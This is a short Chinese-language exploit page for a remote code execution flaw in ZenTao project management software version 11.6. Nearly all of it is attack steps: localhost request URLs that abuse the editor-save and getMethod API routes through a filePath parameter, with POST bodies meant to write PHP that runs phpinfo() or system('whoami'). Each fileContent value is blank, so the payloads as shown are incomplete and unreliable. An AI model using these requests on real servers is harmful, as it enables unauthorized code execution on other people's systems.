禪道_11.6_遠程代碼執行漏洞

# 禪道 11.6 遠程代碼執行漏洞
==漏洞利用==

===遠程代碼執行命令phpnifo();===

http://127.0.0.1/zentaopms/www/api-getModel-editor-save-filePath=1111

POST: fileContent=


====Payload2====

http://127.0.0.1/zentaopms/www/ api-getModel-api-getMethod-filePath=1111/1

POST: fileContent=


===遠程代碼執行命令system('whoami');===

====Payload1====

http://127.0.0.1/zentaopms/www/api-getModel-editor-save-filePath=2222

POST: fileContent=


====Payload2====

http://127.0.0.1/zentaopms/www/ api-getModel-api-getMethod-filePath=2222/2

POST: fileContent=